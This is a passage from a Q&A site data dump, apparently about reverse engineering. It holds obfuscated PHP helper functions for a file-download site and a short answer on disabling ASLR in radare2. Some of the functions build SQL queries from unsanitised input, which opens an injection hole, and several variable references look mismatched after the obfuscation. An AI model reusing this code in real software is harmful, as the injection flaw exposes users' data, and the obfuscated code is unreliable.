$xvyvcssvdb = &quot;f&quot;;&#xA;        $eirnplcg = &quot;f&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;zjupglec&quot;] = &quot;f&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot; &quot;, &quot;_&quot;, ${$fwddgvaroft});&#xA;        $jokleqez = &quot;f&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot;_&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot;___&quot;, &quot;_&quot;, ${$eirnplcg});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot;__&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;zjupglec&quot;]} = str_replace(&quot;(&quot;, null, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        ${&quot;GLOBALS&quot;}[&quot;rbnfuxpjxqpj&quot;] = &quot;f&quot;;&#xA;        ${$jokleqez} = str_replace(&quot;)&quot;, null, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        return (${${&quot;GLOBALS&quot;}[&quot;kiakpghmlj&quot;]} ? strtolower(${$xvyvcssvdb}) : ${${&quot;GLOBALS&quot;}[&quot;rbnfuxpjxqpj&quot;]});&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;get_backlinks&quot;)) {&#xA;    function get_backlinks($id)&#xA;    {&#xA;        if (intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]})) {&#xA;            ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = array();&#xA;            ${&quot;GLOBALS&quot;}[&quot;xfryqhn&quot;] = &quot;CI&quot;;&#xA;            ${&quot;GLOBALS&quot;}[&quot;dodvkwotq&quot;] = &quot;list&quot;;&#xA;            ${${&quot;GLOBALS&quot;}[&quot;xfryqhn&quot;]} = &amp;amp;get_instance();&#xA;            ${&quot;GLOBALS&quot;}[&quot;ktmlpy&quot;] = &quot;list&quot;;&#xA;            ${${&quot;GLOBALS&quot;}[&quot;dodvkwotq&quot;]} = $CI-&amp;gt;db-&amp;gt;query(&quot;SELECT parentsarray FROM category where id='&quot; . intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]}) . &quot;'&quot;)-&amp;gt;result();&#xA;            return ${${&quot;GLOBALS&quot;}[&quot;ktmlpy&quot;]}[0]-&amp;gt;parentsarray;&#xA;        } else {&#xA;            return false;&#xA;        }&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;gen_backlinks&quot;)) {&#xA;    function gen_backlinks($parentsArray)&#xA;    {&#xA;        $uasqrylb = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;tmjgwmr&quot;]} = array();&#xA;        ${$uasqrylb} = explode(&quot;||&quot;, ${${&quot;GLOBALS&quot;}[&quot;zdvwmpshlpn&quot;]});&#xA;        ${&quot;GLOBALS&quot;}[&quot;ubyeqznyzznv&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]} = 0;&#xA;        foreach (${${&quot;GLOBALS&quot;}[&quot;ubyeqznyzznv&quot;]} as ${${&quot;GLOBALS&quot;}[&quot;jmjkcwrtoljb&quot;]}) {&#xA;            if (!empty(${${&quot;GLOBALS&quot;}[&quot;jmjkcwrtoljb&quot;]})) {&#xA;                $nmneagq = &quot;url&quot;;&#xA;                ${&quot;GLOBALS&quot;}[&quot;bcxbypxeen&quot;] = &quot;bklnk_i&quot;;&#xA;                $uoikacjkerm = &quot;bklnk_i&quot;;&#xA;                $cpdpmg = &quot;i&quot;;&#xA;                ${${&quot;GLOBALS&quot;}[&quot;mmbijie&quot;]} = explode(&quot;|&quot;, ${${&quot;GLOBALS&quot;}[&quot;jmjkcwrtoljb&quot;]});&#xA;                ${${&quot;GLOBALS&quot;}[&quot;tmjgwmr&quot;]}[${$cpdpmg}][&quot;url&quot;] = ${${&quot;GLOBALS&quot;}[&quot;bcxbypxeen&quot;]}[0];&#xA;                ${$nmneagq}[${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]}][&quot;title&quot;] = ${$uoikacjkerm}[1];&#xA;                ${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]}++;&#xA;            }&#xA;        }&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;tmjgwmr&quot;]};&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;formatSize&quot;)) {&#xA;    function formatSize($size, $round = 2)&#xA;    {&#xA;        $hcslowfma = &quot;i&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;xourqveliyv&quot;] = &quot;total&quot;;&#xA;        $hvgwqobosg = &quot;size&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;qsflinyhe&quot;] = &quot;i&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;vsgjwjgohjuo&quot;]} = array(&quot;Byts&quot;, &quot;kb&quot;, &quot;mb&quot;, &quot;gb&quot;, &quot;tb&quot;);&#xA;        $wntpvqhqlmv = &quot;i&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;bvfnpllyxgs&quot;]} = count(${${&quot;GLOBALS&quot;}[&quot;vsgjwjgohjuo&quot;]}) - 1;&#xA;        for (&#xA;            ${${&quot;GLOBALS&quot;}[&quot;qsflinyhe&quot;]} = 0;&#xA;            ${${&quot;GLOBALS&quot;}[&quot;sknxttw&quot;]} &amp;gt; 1024 &amp;amp;&amp;amp; ${$wntpvqhqlmv} &amp;lt; ${${&quot;GLOBALS&quot;}[&quot;xourqveliyv&quot;]};&#xA;            ${$hcslowfma}++&#xA;        ) ${${&quot;GLOBALS&quot;}[&quot;sknxttw&quot;]} /= 1024;&#xA;        return round(${$hvgwqobosg}, ${${&quot;GLOBALS&quot;}[&quot;qyjncgibsx&quot;]}) . &quot; &quot; . ${${&quot;GLOBALS&quot;}[&quot;vsgjwjgohjuo&quot;]}[${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]}];&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;related_files&quot;)) {&#xA;    function related_files($id)&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;shzpyrjkmbl&quot;] = &quot;id&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = array();&#xA;        ${&quot;GLOBALS&quot;}[&quot;dfgopqjwn&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${&quot;GLOBALS&quot;}[&quot;hknilofbisd&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;hknilofbisd&quot;]} = $CI-&amp;gt;db-&amp;gt;query('SELECT * FROM files where status=&quot;A&quot; AND category_id=&quot;' . ${${&quot;GLOBALS&quot;}[&quot;shzpyrjkmbl&quot;]} . '&quot; ORDER BY rand() LIMIT 4')-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;dfgopqjwn&quot;]};&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;valid_sort&quot;)) {&#xA;    function valid_sort($type)&#xA;    {&#xA;        $ldjkhhddt = &quot;t&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;jbdilpns&quot;]} = array(&quot;n2o&quot;, &quot;o2n&quot;, &quot;a2z&quot;, &quot;z2a&quot;);&#xA;        if (in_array(${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]}, ${$ldjkhhddt})) {&#xA;            return true;&#xA;        } else {&#xA;            return false;&#xA;        }&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;gen_thumb&quot;)) {&#xA;    function gen_thumb($id, $type = 'category')&#xA;    {&#xA;        $qucmxyqljd = &quot;type&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;imghhrgupt&quot;] = &quot;location&quot;;&#xA;        $omuplvoslpmy = &quot;add&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${$omuplvoslpmy} = NULL;&#xA;        if (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;files&quot;) {&#xA;            ${${&quot;GLOBALS&quot;}[&quot;rxsfphe&quot;]} = &quot;extension,&quot;;&#xA;        }&#xA;        ${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]} = $CI-&amp;gt;db-&amp;gt;query('SELECT ' . ${${&quot;GLOBALS&quot;}[&quot;rxsfphe&quot;]} . 'thumb FROM ' . ${$qucmxyqljd} . ' where id=&quot;' . intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]}) . '&quot;')-&amp;gt;result();&#xA;        $lsdbpiatqwij = &quot;i&quot;;&#xA;        $ueunzpyjl = &quot;location&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;imghhrgupt&quot;]} = &quot;/data/thumb/&quot; . ${${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;]}[0]-&amp;gt;thumb;&#xA;        if (file_exists($CI-&amp;gt;config-&amp;gt;item(&quot;root&quot;) . ${$ueunzpyjl}) &amp;amp;&amp;amp; !empty(${$lsdbpiatqwij}[0]-&amp;gt;thumb)) {&#xA;            return ${${&quot;GLOBALS&quot;}[&quot;nwisdeafetc&quot;]};&#xA;        } else {&#xA;            ${&quot;GLOBALS&quot;}[&quot;ulcufcpcs&quot;] = &quot;type&quot;;&#xA;            ${&quot;GLOBALS&quot;}[&quot;uzqvpsp&quot;] = &quot;default&quot;;&#xA;            if (${${&quot;GLOBALS&quot;}[&quot;ulcufcpcs&quot;]} == &quot;files&quot;) {&#xA;                $lfguonfeu = &quot;i&quot;;&#xA;                $mibotqeoijf = &quot;default&quot;;&#xA;                ${$mibotqeoijf} = &quot;/images/&quot; . strtolower(${$lfguonfeu}[0]-&amp;gt;extension) . &quot;.png&quot;;&#xA;            } else {&#xA;                $lynyycjn = &quot;default&quot;;&#xA;                ${$lynyycjn} = &quot;/images/folder.png&quot;;&#xA;            }&#xA;            return ${${&quot;GLOBALS&quot;}[&quot;uzqvpsp&quot;]};&#xA;        }&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;cat_name&quot;)) {&#xA;    function cat_name($id)&#xA;    {&#xA;        $giukqtxnk = &quot;CI&quot;;&#xA;        ${$giukqtxnk} = &amp;amp;get_instance();&#xA;        $CI-&amp;gt;db-&amp;gt;select(&quot;category_name&quot;)-&amp;gt;where(&quot;id&quot;, intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]}));&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = $CI-&amp;gt;db-&amp;gt;get(&quot;category&quot;)-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]}[0]-&amp;gt;category_name;&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;usable&quot;)) {&#xA;    function usable($file, $search = false)&#xA;    {&#xA;        $jologlnkv = &quot;file&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;spmqsfqbs&quot;] = &quot;file&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;npjjknqr&quot;] = &quot;file&quot;;&#xA;        $kcvqjwek = &quot;file&quot;;&#xA;        $mulxze = &quot;file&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;izrliayvss&quot;] = &quot;file&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;mvxnirnhlb&quot;] = &quot;file&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]} = str_replace(&quot;%20&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]});&#xA;        $loxmny = &quot;file&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]} = str_replace(&quot;%2B&quot;, &quot;_&quot;, ${$jologlnkv});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]} = str_replace(&quot;+&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]});&#xA;        $xijzyibpyd = &quot;search&quot;;&#xA;        $uppxpr = &quot;file&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;mvxnirnhlb&quot;]} = str_replace(&quot;+&quot;, &quot;_&quot;, ${$kcvqjwek});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]} = str_replace(&quot;,&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]});&#xA;        ${&quot;GLOBALS&quot;}[&quot;tnzpvrbujnp&quot;] = &quot;file&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;spmqsfqbs&quot;]} = str_replace(&quot; &quot;, &quot;_&quot;, ${$uppxpr});&#xA;        $qbgccaljthxa = &quot;ext&quot;;&#xA;        ${$mulxze} = str_replace(&quot;__&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]});&#xA;        ${$loxmny} = str_replace(&quot;___&quot;, &quot;_&quot;, ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]});&#xA;        if (${$xijzyibpyd}) {&#xA;            return ${${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;]};&#xA;        }&#xA;        ${&quot;GLOBALS&quot;}[&quot;abhdicakggn&quot;] = &quot;file&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]} = end(explode(&quot;.&quot;, ${${&quot;GLOBALS&quot;}[&quot;npjjknqr&quot;]}));&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;tnzpvrbujnp&quot;]} = str_ireplace(&quot;.&quot; . ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]}, null, ${${&quot;GLOBALS&quot;}[&quot;abhdicakggn&quot;]}) . $CI-&amp;gt;config-&amp;gt;item(&quot;hide_sitename&quot;) . &quot;.&quot; . ${$qbgccaljthxa};&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;izrliayvss&quot;]};&#xA;    }&#xA;}&#xA;function type($type)&#xA;{&#xA;    ${&quot;GLOBALS&quot;}[&quot;vhybszwsryb&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;rarxksqbgj&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;bkzqcvess&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;lfnroekm&quot;] = &quot;type&quot;;&#xA;    $cbetfqulo = &quot;type&quot;;&#xA;    $wxtqpltrphnx = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;gqwiwqknm&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;gookhsq&quot;] = &quot;type&quot;;&#xA;    $vbvctwvvxymh = &quot;type&quot;;&#xA;    $jkjhtgvf = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;uaslhycthx&quot;] = &quot;type&quot;;&#xA;    $wxbkbld = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;uvmlvvfey&quot;] = &quot;type&quot;;&#xA;    $jrgedmgmw = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;rynxfg&quot;] = &quot;type&quot;;&#xA;    $mengicwcg = &quot;type&quot;;&#xA;    $mqmvylt = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;efxeiewxxk&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;ygpbxh&quot;] = &quot;type&quot;;&#xA;    $kjvkpsiw = &quot;type&quot;;&#xA;    $iewfplshuj = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;yvxvxcsoop&quot;] = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;jvqmoqq&quot;] = &quot;type&quot;;&#xA;    $xcmmwfzpk = &quot;type&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;steapac&quot;] = &quot;type&quot;;&#xA;    if (!${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]}) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Folder&quot;;&#xA;    elseif (${$wxtqpltrphnx} == &quot;jpg&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;wallpaper&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;jpeg&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;wallpaper&quot;;&#xA;    elseif (${$vbvctwvvxymh} == &quot;jpe&quot;) ${${&quot;GLOBALS&quot;}[&quot;lfnroekm&quot;]} = &quot;wallpaper&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;png&quot;) ${$jkjhtgvf} = &quot;wallpaper&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;uaslhycthx&quot;]} == &quot;mp3&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Music&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;wav&quot;) ${${&quot;GLOBALS&quot;}[&quot;uvmlvvfey&quot;]} = &quot;Music&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;gqwiwqknm&quot;]} == &quot;amr&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Music&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;3gp&quot;) ${${&quot;GLOBALS&quot;}[&quot;rynxfg&quot;]} = &quot;Video&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;bkzqcvess&quot;]} == &quot;mp4&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Video&quot;;&#xA;    elseif (${$wxbkbld} == &quot;avi&quot;) ${$cbetfqulo} = &quot;Video&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;flv&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Video&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;zip&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Compressed File&quot;;&#xA;    elseif (${$mengicwcg} == &quot;rar&quot;) ${${&quot;GLOBALS&quot;}[&quot;vhybszwsryb&quot;]} = &quot;Winrar File&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;psd&quot;) ${${&quot;GLOBALS&quot;}[&quot;gookhsq&quot;]} = &quot;Photoshop Document&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;pdf&quot;) ${$mqmvylt} = &quot;Portable Document&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;rarxksqbgj&quot;]} == &quot;exe&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Windows&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;nth&quot;) ${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} = &quot;Nokia Theme&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;efxeiewxxk&quot;]} == &quot;thm&quot;) ${${&quot;GLOBALS&quot;}[&quot;ygpbxh&quot;]} = &quot;Theme&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;sis&quot;) ${$kjvkpsiw} = &quot;Sybmian&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;sisx&quot;) ${${&quot;GLOBALS&quot;}[&quot;yvxvxcsoop&quot;]} = &quot;Symbian&quot;;&#xA;    elseif (${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]} == &quot;jar&quot;) ${${&quot;GLOBALS&quot;}[&quot;jvqmoqq&quot;]} = &quot;Java&quot;;&#xA;    elseif (${$iewfplshuj} == &quot;apk&quot;) ${$xcmmwfzpk} = &quot;Android&quot;;&#xA;    elseif (${$jrgedmgmw} == &quot;txt&quot;) ${${&quot;GLOBALS&quot;}[&quot;steapac&quot;]} = &quot;Text File&quot;;&#xA;    return trim(ucfirst(${${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;]}));&#xA;}&#xA;function special($ext)&#xA;{&#xA;    $mcnrhr = &quot;ext&quot;;&#xA;    ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]} = strtolower(${$mcnrhr});&#xA;    ${&quot;GLOBALS&quot;}[&quot;mavswgubci&quot;] = &quot;use&quot;;&#xA;    $ufgabfxgnyg = &quot;ext&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;skhdssdwoap&quot;] = &quot;ext&quot;;&#xA;    $ogvetztp = &quot;ext&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;owdljbbqcm&quot;] = &quot;ext&quot;;&#xA;    $fovuklxwtgk = &quot;ext&quot;;&#xA;    $rkburkngjkke = &quot;use&quot;;&#xA;    if ((type(${$ufgabfxgnyg})) == &quot;Wallpaper&quot;) ${${&quot;GLOBALS&quot;}[&quot;mavswgubci&quot;]} = &quot;gen_image_preview&quot;;&#xA;    elseif ((type(${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]})) == &quot;Music&quot;) ${${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;]} = &quot;gen_mp3_tags&quot;;&#xA;    elseif ((type(${${&quot;GLOBALS&quot;}[&quot;skhdssdwoap&quot;]})) == &quot;Video&quot;) ${${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;]} = &quot;gen_video_preview&quot;;&#xA;    elseif ((type(${${&quot;GLOBALS&quot;}[&quot;owdljbbqcm&quot;]})) == &quot;Nokia Theme&quot;) ${${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;]} = &quot;gen_nth_preview&quot;;&#xA;    elseif ((type(${$ogvetztp})) == &quot;Theme&quot;) ${${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;]} = &quot;gen_thm_preview&quot;;&#xA;    elseif ((type(${$fovuklxwtgk})) == &quot;Java&quot;) ${$rkburkngjkke} = &quot;gen_jar_preview&quot;;&#xA;    return ${${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;]};&#xA;}&#xA;function scan_folder($dir)&#xA;{&#xA;    $mudatbwa = &quot;it&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;cnkuqgu&quot;] = &quot;it&quot;;&#xA;    $kkniidcteh = &quot;file&quot;;&#xA;    ${$mudatbwa} = new RecursiveDirectoryIterator(${${&quot;GLOBALS&quot;}[&quot;njfqrtm&quot;]});&#xA;    $lnontueguh = &quot;it&quot;;&#xA;    ${${&quot;GLOBALS&quot;}[&quot;cnkuqgu&quot;]} = new RecursiveIteratorIterator(${$lnontueguh}, RecursiveIteratorIterator::CHILD_FIRST);&#xA;    $gznrfesuj = &quot;it&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;nqwwrae&quot;] = &quot;return&quot;;&#xA;    foreach (${$gznrfesuj} as ${$kkniidcteh}) {&#xA;        ${&quot;GLOBALS&quot;}[&quot;fhxoccbtymnh&quot;] = &quot;link&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;yjnsycm&quot;] = &quot;link&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;pxrjxlbimpv&quot;] = &quot;dir&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;czlnycwytxmk&quot;] = &quot;return&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;yjnsycm&quot;]} = str_replace(&quot;\&quot;&quot;, &quot;/&quot;, $file-&amp;gt;getPathname());&#xA;        $okouvdpaw = &quot;link&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;nsppyylnqkk&quot;]} = str_replace(${${&quot;GLOBALS&quot;}[&quot;pxrjxlbimpv&quot;]}, &quot;&quot;, ${${&quot;GLOBALS&quot;}[&quot;fhxoccbtymnh&quot;]});&#xA;        if (&quot;.&quot; === $file-&amp;gt;getBasename() || &quot;..&quot; === $file-&amp;gt;getBasename()) continue;&#xA;        if ($file-&amp;gt;isDir()) ${${&quot;GLOBALS&quot;}[&quot;czlnycwytxmk&quot;]}[&quot;folder&quot;][] = ${$okouvdpaw};&#xA;        else ${${&quot;GLOBALS&quot;}[&quot;ypbgqag&quot;]}[&quot;file&quot;][] = ${${&quot;GLOBALS&quot;}[&quot;nsppyylnqkk&quot;]};&#xA;    }&#xA;    return ${${&quot;GLOBALS&quot;}[&quot;nqwwrae&quot;]};&#xA;}&#xA;function c_f_e($file_name)&#xA;{&#xA;    $qmhozfh = &quot;ext&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;qkmucueqhr&quot;] = &quot;ext&quot;;&#xA;    ${&quot;GLOBALS&quot;}[&quot;fgeuyyq&quot;] = &quot;exhibit_arr&quot;;&#xA;    $frdmvaw = &quot;exhibit_arr&quot;;&#xA;    ${$frdmvaw} = array(&quot;exe&quot;, &quot;php&quot;, &quot;asp&quot;, &quot;aspx&quot;, &quot;jsp&quot;, &quot;js&quot;, &quot;php3&quot;, &quot;php5&quot;, &quot;html&quot;, &quot;xhtml&quot;, &quot;.htaccess&quot;);&#xA;    ${$qmhozfh} = end(explode(&quot;.&quot;, ${${&quot;GLOBALS&quot;}[&quot;yqyebcv&quot;]}));&#xA;    if (in_array(${${&quot;GLOBALS&quot;}[&quot;qkmucueqhr&quot;]}, ${${&quot;GLOBALS&quot;}[&quot;fgeuyyq&quot;]})) {&#xA;        return false;&#xA;    } else {&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]};&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;list_total_files&quot;)) {&#xA;    function list_total_files()&#xA;    {&#xA;        $hwpauvh = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = array();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${$hwpauvh} = $CI-&amp;gt;db-&amp;gt;get(&quot;files&quot;)-&amp;gt;num_rows();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]};&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;list_total_downloads&quot;)) {&#xA;    function list_total_downloads()&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;vwywgmudqi&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;vwywgmudqi&quot;]} = array();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = $CI-&amp;gt;db-&amp;gt;select_sum(&quot;download&quot;)-&amp;gt;get(&quot;files&quot;)-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]}[0]-&amp;gt;download;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27693" LastActivityDate="2019-04-14T18:01:16.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21147" PostTypeId="2" ParentId="21143" CreationDate="2019-04-14T18:01:45.447" Score="2" Body="&lt;p&gt;This is not a radare2 problem. What you are experiencing is &quot;Address space layout randomization&quot; or ASLR. Basically every time that you run the program the addresses are different. all the breakpoints and info still in radare2 but they are not pointing to the same addresses since it change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 has an option to disable ASLR while you used with radare2 (not normal running) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of radare2 type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; dor aslr=no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then analyze everything and start your job&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; aaa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Happy hacking!&lt;/p&gt;&#xA;" OwnerUserId="24762" LastActivityDate="2019-04-14T18:01:45.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
